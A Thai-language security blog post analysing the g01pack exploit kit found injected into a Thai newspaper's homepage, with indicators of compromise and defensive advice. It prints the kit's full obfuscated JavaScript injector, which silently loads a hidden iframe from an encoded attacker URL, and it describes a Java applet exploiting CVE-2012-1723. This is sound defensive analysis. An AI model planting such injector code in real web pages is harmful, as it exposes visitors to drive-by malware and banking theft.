
Banking Trojan Hunting — g01pack's fundamental analysis
Incognito Lab
1-2 วันที่ผ่านมาผมคิดว่าหลาย ๆ คนที่เข้าไปดูข่าวออนไลน์บ่อย ๆ อาจจะตกใจเนื่องจาก Google และ Google Chrome มีการแจ้งเตือนภัยคุกคามว่า website ดังกล่าวอาจเป็นอันตรายต่อคอมพิวเตอร์ของผู้ใช้งาน
ในวันถัดมาวันที่ 13 มิถุนายน 2556 พบว่า website แห่งเดิมไม่พบปัญหา แต่พบปัญหากับ Homepage ของนสพ.อีกฉบับและสำนักข่าวอีกแห่งหนึ่งแทน
เราจึงค้นหาคำตอบด้วยการใช้ Service ที่ทำการตรวสอบ web-based malware ที่ชื่อ urlquery.net ซึ่งเป็น Service ที่ให้บริการฟรีครับ(กรณีทำ Bulk query แบบปริมาณมาก ๆ อาจจะช้านิดหน่อย คิดว่าอีกไม่นานจะมี API ออกมาให้เรียกใช้งานได้ง่ายขึ้นครับ ไม่ต้องไปเขียน script เพื่อไปทำ Bulk query เอง) ผลของ urlquery ทำให้เราตกใจเป็นอย่างยิ่งเนื่องจากพบ Exploitation Kit* ที่ชื่อ g01pack
Note:
- ทำความเข้าใจกับ Exploitation kit ได้ที่บทความ
Malware Fighting Technique — DNS Sinkhole
1 ในเทคนิคการป้องกัน malware ที่ implement ได้ง่ายและมีประสิทธิผลสูงสำหรับงาน Incident Handling ก็คือเทคนิคที่เรียกว่า DNS Sinkhole
- พวก Cyber crime (ซึ่งทุกวันนี้มันกลายเป็นขบวนการใหญ่ของโลก–Organised Cyber Crime–ไปแล้ว แก๊งค์พวกนี้มีการเคลื่อนไหวอยู่ในประเทศไทยด้วย–ที่เราเห็นตามข่าวบ่อย ๆ เรื่องการโจมตี Internet Banking ของธนาคารต่าง ๆ นั่นแหละครับ) มี Crime-as-a-Service ที่บริการการก่ออาชญากรรมทุกรูปแบบ ข้อมูลเพิ่มเติมสามารถดูได้จาก Cybercriminals Today Mirror Legitimate Business Processes ของ Fortinet
เราเองใช้เวลาตามหา Active Exploitation Kit ที่วางโจมตีใน website ภายในประเทศสักพักแล้วครับ แต่ทุก ๆ ครั้งที่หาเจอ Page ที่เป็น Exploit kit ก็หายไปบ้าง, invalid domain name บ้าง เราเจ็บใจพอสมควรเนื่องจากแก๊งค์พวกนี้ขโมยเงินในประเทศของเราออกไปเยอะทีเดียว แต่วันนี้พวกเค้าทำการ Plant exploitation kit บน page หนังสือพิมพ์ครับและพร้อม ๆ กับมีข่าวเรื่อง Banking Trojan ที่โจมตีอีกระลอก(ลองไปดูที่ http://pantip.com/topic/30599799 และการแจ้งเตือนบนหน้า Internet Banking ของแต่ละธนาคาร)
ครั้งนี้เราได้พบกับ Exploitation Code ที่ Active ตัวจริงแล้วครับ เรามาวิเคราะห์ g01pack แบบง่าย ๆ กันดีกว่า
Analysis
เริ่มแรกเลยก็ให้สังเกตว่ามีการแทรก javascript ประหลาด ๆ ในหน้า Homepage ของนสพ.แห่งนั้น
ให้เรานำตัวเลขดังกล่าวมาประกอบกัน จากนั้นก็ Decode ด้วย function ของมันเอง ใครงงลองไปดู Decoder ที่เราดัดแปลงจาก Script ดังกล่าวได้ที่ http://pastebin.com/KWPfz3mF ถ้าหากเราพยายามอ่าน Soucecode ของมัน(ที่ชื่อประหลาด ๆ ดูเละ ๆ นั่นแหละครับ**)จะพบว่ามันพยายามทำการสร้าง iframe ขนาด 1×1 แบบ hidden และ src ของมันถูก encode เอาไว้ซึ่งเปลี่ยนแปลงได้ตลอด(สาเหตุที่ตามหายาก) หลังจาก Decode ก็จะพบว่ามันมีการเรียกไปที่
Note: code ที่ดูประหลาด ๆ แบบนี้จงใจทำขึ้นเพื่อหลีกเลี่ยงการตรวจจับ และป้องกันไม่ให้ใครไปทำความเข้าใจการทำงานของมันง่าย ๆ ครับ กระบวนการแบบนี้ทางเทคนิคเรียกว่า code ถูก obfuscated
Response จะเป็น obfuscated javascript ที่เป็น Landing Page อีกต่อหนึ่ง
;(function () {
var fYN = document,
K = { i: 'rame' },
NNC,
E
function GG(L, Y) {
return (L.src = Y)
}
function D(m) {
m += '58,41,43,51,-10,56,48,56,7,41,44,62,45,58,60,5,-3,-3'
m = m.split(',')
t = ''
for (i = 0; i < m.length - 1; i++) {
n = parseInt(m[0])
n += parseInt(m[i + 1])
t += String.fromCharCode(n)
}
return t
}
if (
/(Windows)/.test(navigator.userAgent) &&
/(MSIE)/.test(navigator.userAgent)
) {
try {
NNC =
'56,48,60,60,56,2,-9,-9,43,66,64,43,64,66,-10,60,55,56,49,43,41,52,59,'
E = md()
TT = D(NNC)
GG(E, TT)
} catch (e) {}
}
function l() {
return 'if' + K.i
}
function md() {
var tt = document.createElement(l())
tt.width = '1px'
NNC +=
'49,53,61,52,41,60,49,55,54,59,-10,54,45,60,-9,43,56,41,54,45,52,39,46,49,52,45,-9,43,'
tt.height = '1px'
tt.style['visibility'] = 'hidden'
try {
fYN['body']['appendChild'](tt)
} catch (P) {
try {
document.write('')
document.body.appendChild(tt)
} catch (uWin) {}
}
return tt
}
})()
ข้อความที่ปรากฎเป็นบทที่คัดมาจากเรื่อง Hamlet ของ William Shakespeare แต่มีข้อความแปลก ๆ ด้านบนแทรกเข้ามา และมีบางบรรทัดของที่หายไป(ตอนนี้เรายังไม่เข้าใจว่ามันหมายถึงอะไรเช่นกัน)
นอกเหนือจากนั้นยังพบว่ามีการแทรก applet แถมมาให้อีกด้วย ลองดู applet นั้นได้ที่ http://pastebin.com/q52Pi7Kx
หากลองดูให้ดี จะเห็น pattern ซ้ำ ๆ จริงมั้ยครับ??
หลังจากที่ applet ทำงานมันจะพยายาม break security policy ดูที่ sourcecode โดยอาศัยช่องโหว่ CVE-2012-1723 ที่ทำการโจมตี Java
อีกทั้งยังทำงานเป็นตัว Loader ที่พยายามทำการ download payload ต่าง ๆ เช่น banking trojan หรือ malware ประเภทอื่น ๆ มา deploy เพิ่มเติม
เราทำการทดสอบ applet ตัวนี้กับ virustotal และพบว่า Evasion ของมันไม่ธรรมดาครับ ผลของมันคือ Detection ratio: 3/47 ซึ่งถือว่าหลบหลีกได้ดีมาก
การแพร่ Exploitation Kit ผ่าน website ข่าวที่มีคนเข้าไปดูเป็นจำนวนมาก เป็นสิ่งที่น่าเป็นห่วงอย่างยิ่ง เราลองสังเกตพบว่าส่วนใหญ่มาจาก ads ที่อยู่ตาม website ต่าง ๆ มันคอยซ่อนตัว รอโอกาสโจมตี พอเราจะเข้าไปตรวจสอบมันก็หายไป อีกทั้งยังมีการปิด-เปิด-เปลี่ยน domain name บ่อยมาก
สำหรับผู้ใช้งานทั่วไป
- อ่านบทความของ Thaicert (https://www.thaicert.or.th/alerts/user/2013/al2013us008.html)
- สำหรับการใช้งานทั่วไป ส่วนใหญ่ java plugin ไม่จำเป็นต้องใช้งานอยู่แล้ว แนะนำว่าปิดการทำงานของ java ไปเลยดีกว่าครับ เพราะช่วงนี้เสี่ยง
- ลองดูว่าเครื่องของเรามี patch อะไรที่ต้อง update บ้าง โดยสามารถใช้บริการจากที่นี่ได้เลยครับ Rapid7 Browser Scan ฟรี
สำหรับผู้ดูแลระบบและผู้สนใจ
- อ่านบทความของ Thaicert (https://www.thaicert.or.th/alerts/user/2013/al2013us008.html)
- ลอง review logs โดยด่วนว่ามี users คนไหนที่ไป visit website ดังกล่าวบ้าง ซึ่งให้ดูจาก Firewall logs ก็พอครับ เพราะ resolve ไปที่
IP: 195.3.147.229 ใน Latvia
czxcxz.topicalsimulations.net
zxcasdw.gamesdropboxs.biz
zzzaaa.megabytessimilarity.net
ทั้ง 3 domain name ถูก registered วันที่ 10,11 และ 12 มิถุนายนที่ผ่านมาสด ๆ ร้อน ๆ เลย
- ใช้ Window Sysinternals กับเครื่องที่สงสัยว่าจะถูกโจมตี โดยให้เปิด Browser ขึ้นมาก่อน อีกวิธีคือให้ดู Hook ของ Process ของ Browser ด้วย ถ้าพบว่า function ที่สำคัญถูก Hook เช่นนี้เครื่องนั้นถูกโจมตีแน่นอน
- อ่านบทความเรื่อง Multi-Stage Exploit Attacks for More Effective Malware Delivery ของ Trusteer
ขอให้ทุกคนปลอดภัย Stay safe!!
Up Next

ARTICLES
Feb
25
2021
Incognito Mode EP1
สำหรับใน EP 1 นี้ได้คุณพรสุข มาบรรยายในหัวข้อ Thailand's Cyber
READ MORE

ARTICLES
Jan
27
2021
Difference between Single-stage Ransomware and Multi-stage Ransomware
องค์กรที่มีแผนรับมือ(Incident Response) กรณีการโจมตีของ Ransomware Attack ต้องเริ่มมาทบทวนแผนกันใหม่นะครับเนื่องจากรูปแบบการโจมตีของ attackers มีชั้นเชิงที่จะบีบบริษัทหรือองค์กรที่ตกเป็นเหยื่อมากยิ่งขึ้น
READ MORE

ARTICLES
Jan
27
2021
VA/Pentest Service FAQs
บทความนี้อยากทำให้ผู้อ่านได้เข้าใจถึง VA/Pentest Service ซึ่งเป็น Service หลักของ Incognito Lab
READ MORE